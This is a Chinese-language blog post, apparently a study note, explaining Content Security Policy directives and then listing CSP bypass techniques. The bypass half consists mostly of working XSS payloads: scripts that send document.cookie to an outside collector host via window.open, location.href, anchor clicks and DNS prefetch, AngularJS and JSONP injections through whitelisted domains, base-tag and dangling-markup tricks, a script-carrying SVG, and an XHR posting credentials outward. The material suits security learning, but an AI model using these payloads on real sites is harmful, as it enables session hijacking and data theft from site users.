CSP策略与绕过
John_Frod Lv4

CSP策略与绕过

之前在同源策略中提到过CSP,也就是内容安全策略。CSP 的实质就是白名单制度,开发者明确告诉客户端,哪些外部资源可以加载和执行,等同于提供白名单。它的实现和执行全部由浏览器完成,开发者只需提供配置。CSP 大大增强了网页的安全性。攻击者即使发现了漏洞,也没法注入脚本,除非还控制了一台列入了白名单的可信主机。合理地配置好CSP能够避免绝大部分的XSS攻击。

CSP的引入方式

有两种方式启用CSP:

  1. 通过HTTP头部得Content-Security-Policy字段
1
2
Content-Security-Policy: script-src 'self'; object-src 'none';
style-src cdn.example.org third-party.org; child-src https:
  1. 通过HTML标签<meta>
1
<meta http-equiv="Content-Security-Policy" content="script-src 'self'; object-src 'none'; style-src cdn.example.org third-party.org; child-src https:">

CSP常用指令

CSP会限制以下资源的加载:

  • child-src:指定定义了 web workers 以及嵌套的浏览上下文(如<frame><iframe>)的源
  • connect-src:限制能通过脚本接口加载的URL。
  • font-src :定义了字体加载的有效来源
  • img-src :定义了图片或者图标加载的有效来源
  • media-src: 定义了媒体文件加载的有效来源如HTML6的 <audio>, <video>等元素
  • object-src:限制<object>, <embed>或者<applet>标签的源地址。
  • style-src :定义页面中CSS样式的有效来源
  • script-src :定义页面中javascript有效来源
  • worker-src:限制Worker、SharedWorker或者ServiceWorker脚本源。
  • manifest-src: 限制应用声明文件的源地址。
  • frame-src: 设置允许通过类似<frame><iframe>标签加载的内嵌内容的源地址。
  • default-src:定义了那些没有被更精确指令指定的安全策略。

如果同时设置某个单项限制(比如font-src)和default-src,前者会覆盖后者,即字体文件会采用font-src的值,其他资源依然采用default-src的值。

选项值

每个限制选项可以设置以下几种值,这些值就构成了白名单。

  • 主机名:example.orghttps://example.com:443
  • 路径名:example.org/resources/js/
  • 通配符:*.example.org*://*.example.com:*(表示任意协议、任意子域名、任意端口)
  • 协议名:https:data:
  • 关键字'self':当前域名,需要加引号
  • 关键字'none':禁止加载任何外部资源,需要加引号

多个值也可以并列,用空格分隔。

1
Content-Security-Policy: script-src 'self' https://apis.google.com

如果同一个限制选项使用多次,只有第一次会生效。

1
2
3
4
# 错误的写法
script-src https://host1.com; script-src https://host2.com
# 正确的写法
script-src https://host1.com https://host2.com

如果不设置某个限制选项,就是默认允许任何值。

script-src 的特殊值

除了常规值,script-src还可以设置一些特殊值。注意,下面这些值都必须放在单引号里面。

  • **'unsafe-inline'**:允许执行页面内嵌的<script>标签和事件监听函数
  • unsafe-eval:允许将字符串当作代码执行,比如使用evalsetTimeoutsetIntervalFunction等函数。
  • nonce值:每次HTTP回应给出一个授权token,页面内嵌脚本必须有这个token,才会执行。但是这个随机字符串,应当是唯一,不应该是写死的。如果是固定的nonce值,那么nonce没有任何意义,因为攻击者可以将自己注入的script标签也添加上相同的nonce值。

example:服务器发送网页的时候,告诉浏览器一个随机生成的token

1
Content-Security-Policy: script-src 'nonce-EDNnf03nceIOfn39fn3e9h3sdfa'

页面内嵌脚本,必须有这个token才能执行。

1
2
3
<script nonce=EDNnf03nceIOfn39fn3e9h3sdfa>
// some code
</script>
  • hash值:列出允许执行的脚本代码的Hash值,页面内嵌脚本的哈希值只有吻合的情况下,才能执行。

example:服务器给出一个允许执行的代码的hash值。

1
Content-Security-Policy: script-src 'sha256-qznLcsROx4GACP2dm0UCKCzCG-HiZ1guq6ZZDob_Tng='

下面的代码就会允许执行,因为hash值相符。

1
<script>alert('Hello, world.');</script>

注意,计算hash值的时候,<script>标签不算在内。

除了script-src选项,nonce值和hash值还可以用在style-src选项,控制页面内嵌的样式表。

CSP绕过

跳转

当URL允许script-src 'unsafe-inline'时,可以执行脚本但是由于CSP无法将数据发送出去,这时候可以利用window.openlocation<a>跳转

1
2
3
4
5
6
Content-Security-Policy:default-src 'self' ;script-src 'unsafe-inline'

payload:
<script>window.open('http://t6n089.ceye.io/?cookie='+escape(document.cookie));</script>
<script>location.href = 'http://t6n089.ceye.io/?cookie='+escape(document.cookie);</script>
<script>var a=document.createElement("a");a.href='http://t6n089.ceye.io/?cookie='+escape(document.cookie);a.click();</script>

image-20210322214824468

DNS预加载

一般来说,self代表只接受符合同源策略的URL,这样一来,大部分的XSS和CSRF都会失效。但<link>标签除外。我们可以通过<link>标签绕过CSP。

1
2
3
4
Content-Security-Policy:default-src 'self' ;script-src 'unsafe-inline'

payload:
document.querySelector('body').innerHTML="<link rel='dns-prefetch' href='http://"+document.cookie.split(/;|=/)[0].trim()+".t6n089.ceye.io'>";

这样,我们可以通过预加载,将数据添加到<link>标签的DNS预解析的子域名中,从DNS记录中拿到数据。

image-20210318163559401

Iframe

当一个同源站点,同时存在两个页面,其中一个有CSP保护的A页面,另一个没有CSP保护B页面,那么如果B页面存在XSS漏洞,我们可以直接在B页面新建<iframe>用JavaScript直接操作A页面的DOM,可以说A页面的CSP防护完全失效。

A页面:

1
2
3
4
<!-- A页面 -->
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'self'">

<h1 id="flag">flag{0xffff}</h1>

B页面:

1
2
3
4
5
6
7
8
9
10
11
<!-- B页面 -->

<!-- 下面模拟XSS -->
<body>
<script>
var iframe = document.createElement('iframe');
iframe.src="A页面";
document.body.appendChild(iframe);
setTimeout(()=>alert(iframe.contentWindow.document.getElementById('flag').innerHTML),1000);
</script>
</body>

image-20210322220648702

CDN

一般站点都会引用其他CDN上的JS框架,如果CDN上存在一些低版本的框架,就可能存在绕过CSP的风险。

这里给出orange师傅绕hackmd CSP的文章Hackmd XSS

案例中hackmd中CSP引用了cloudflare.com CDN服务,于是orange师傅采用了低版本的angular js模板注入来绕过CSP。

1
2
3
4
5
6
7
8
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'unsafe-eval' https://cdnjs.cloudflare.com;">

payload:
<script src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.min.js>
</script>
<div ng-app>
{{constructor.constructor('alert(document.cookie)')()}}
</div>

image-20210323113111535

站点可控静态资源

给一个绕过codimd的(实例)codimd xss

当网站允许 unsafe-eval 且允许google-analytics谷歌分析站点的JS加载时,我们可以利用Google Tag Manager 自定义JS,生成一个自定义JavaScript内容的google-analytics的链接。

1
2
3
4
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'unsafe-eval' https://www.google-analytics.com">

payload:
<script src="https://www.google-analytics.com/gtm/js?id=GTM-PJF5W64"></script>

image-20210323110922893

站点可控JSONP

大部分站点的jsonp是完全可控的,只不过有些站点会让JSONP不返回HTML类型防止直接的反射型XSS,但是如果将URL插入到<script>标签中,除非设置x-content-type-options头,否者尽管返回类型不一致,浏览器依旧会当成JS进行解析。

1
2
3
4
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src https://www.google.com">

payload:
<script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert"></script>

image-20210323112718427

下面是一些存在用户可控资源或者jsonp比较常用站点的github项目:https://github.com/zigoo0/JSONBee/blob/master/jsonp.txt

Base-uri

当服务器CSP script-src采用了nonce时,如果只设置了default-src没有额外设置base-uri,就可以使用<base>标签使当前页面上下文为自己的vps,如果页面中的合法<script>标签采用了相对路径,那么最终加载的JS就是针对<base>标签中指定URL的相对路径。

1
2
3
4
5
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'nonce-test'">

payload:
<base href="http://192.168.91.140">
<script nonce='test' src="test.js"></script>

image-20210323115106369

利用浏览器自动补全

  • 情形一
1
2
3
4
5
6
7
<?php 
header("X-XSS-Protection:0");
header("Content-Security-Policy: default-src 'self'; script-src 'nonce-xxxxx'");

echo $_GET['xss'];
?>
<script nonce='xxxxx'></script>

如上这种情况, 注入点在<script> 标签的正上方,可以输入

1
<script src=data:text/plain,alert(1)

利用浏览器的自动补全,<script 会变成一个属性,后面的nonce属性也被保留下来,所以绕过了nonce。

image-20210323120414445

这里在chrome浏览器失效,但是在火狐浏览器可以。

  • 情形二
1
2
3
4
5
6
7
8
<?php 
header("X-XSS-Protection:0");
header("Content-Security-Policy: default-src 'self';script-src 'self'; img-src *;");

echo $_GET['xss'];
?>
<h1>flag{0xffff}</h1>
<h2 id="id">3</h2>

如下这种情况,注入点在需要带出的数据上方。我们的目标是拿到注入点下方一个标签的数据。可以看到,前提<img>标签是允许加载跨域的。

1
<img src="http://t6n089.ceye.io?a=

image-20210323145513874

这里仍然是chrome无效,火狐有效

meta网页跳转

在default-src ‘none’的情况下,可以使用meta标签实现跳转

1
2
3
4
Content-Security-Policy: default-src 'self';script-src 'nonce-test'

payload:
<meta http-equiv="refresh" content="1;url=http://x.x.x.x/" >

object-src(PDFXSS)

1
2
<meta http-equiv="Content-Security-Policy" content="script-src 'self'">
<?php echo $_GET['xss']?>

在CSP标准里面,有一个属性是object-src,它限制的是<embed> <object><applet>标签的src,也就是插件的src,于是我们可以通过插件来执行JavaScript代码,插件的JS代码并不受script-src的约束。PDF文件中允许执行javascript脚本,但是之前浏览器的PDF解析器并不会解析PDF中的JS,但是之前chrome的一次更新中突然允许加载PDF的JavaScript脚本。

1
<embed width="100%" height="100%" src="http://192.168.91.140/test.pdf"></embed>

image-20210323175753026

当然pdf的xss并不是为所欲为,比如pdf-xss并不能获取页面cookie,但是可以弹窗,url跳转等
具体可以看看这篇文章https://blog.csdn.net/microzone/article/details/52850623

当然,上面的例子并没有设置default-src,所以我们可以用外域的pdf文件,如果设置了default-src,我们必须找到一个pdf的上传点,(当然能上传的话直接访问这个pdf就能xss了2333),然后再用标签引用同域的pdf文件。

SVG

SVG作为一个矢量图,但是却能够执行JavaScript脚本,如果页面中存在上传功能,并且没有过滤SVG,那么可以通过上传恶意SVG图像来XSS。

1
2
3
<svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" width="100px" height="100px" viewBox="0 0 751 751" enable-background="new 0 0 751 751" xml:space="preserve">  <image id="image0" width="751" height="751" x="0" y="0" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAu8AAALvCAIAAABa4bwGAAAAIGNIUk0AAHomAACAhAAA+gAAAIDo" />
<script>alert(1)</script>
</svg>

image-20210323180947513

302重定向

参考自CSP进阶-302 Bypass CSP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
header("Content-Security-Policy: script-src 'self' http://192.168.91.140/a");
?>
<html>
<head>
</head>
<body>
csp header test
<?php
$xss = $_GET['input'];
echo '你输入的字符为<br>'.$xss
?>

</script>
</body>
</html>

这里CSP没有设置default-src,只设置了script-src中仅仅允许了两个域:

  • 自己的域
  • http://192.168.91.140/a

在第一个域下的某个位置有个可以定义重定向的页面,比如http://127.0.0.1/302.php

1
2
3
<?php
header("Location: " . $_GET[u]);
?>

然后我们需要有一个上传文件的域,这里是http://192.168.91.140/b/,我们上传的文件都放在这个文件夹,由于我们设置的script-src并不包含这个域,因此不能使用<script>标签直接引用这个域下的内容,但是script-src包含了http://192.168.91.140/a/这个域,也就是我们上传目录的根域和他允许的域的根域是一样的,那么我们就可以利用重定向来绕过CSP。

payload:

1
?input=<script src="http://127.0.0.1/CSP/302.php?url=http://192.168.91.140/b/xss.js">

b.js

1
2
3
4
var xml = new XMLHttpRequest(); 
xml.open('POST', 'http://t6n089.ceye.io', true);
xml.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xml.send('username=123&password=123');

image-20210324114801148

浏览器缓存

这个是用来绕过script nonce的一个方法:通过浏览器缓存来bypass CSP script nonce

这个看了个大概意思,也不知道行不行:

img

​ 就是利用修改location.hash览器不会请求服务器,那么nonce string就不会更换的方法。先找到要攻击页面的同源域下的另一个没有CSP保护的页面,在这个页面构造XSS,先开一个<iframe>请求要攻击的页面,获取到nonce值后,再新建一个<iframe>,添加带有nonce字符串的<iframe>窗口请求要攻击的页面,执行任意XSS。其中所有的<iframe>src属性都只修改#后面的内容来避免刷新nonce

上传带有JS的文件

下面的方法其实不算是绕过CSP,实际上是绕过了上传的过滤规则,然后在域内进行调用,其实是遵守了CSP的规则。

  • 带有JS的JPEG

using polyglot JPEGs bypass CSP 分析

  • 带有JS的Wave

使用 Wave 文件绕过 CSP 策略

参考资料

我的CSP绕过思路及总结

CSP 概念及绕过分析总结

  • Post title:CSP策略与绕过
  • Post author:John_Frod
  • Create time:2021-03-24 16:27:21
  • Post link:https://keep.xpoet.cn/2021/03/24/CSP策略与绕过/
  • Copyright Notice:All articles in this blog are licensed under BY-NC-SA unless stating additionally.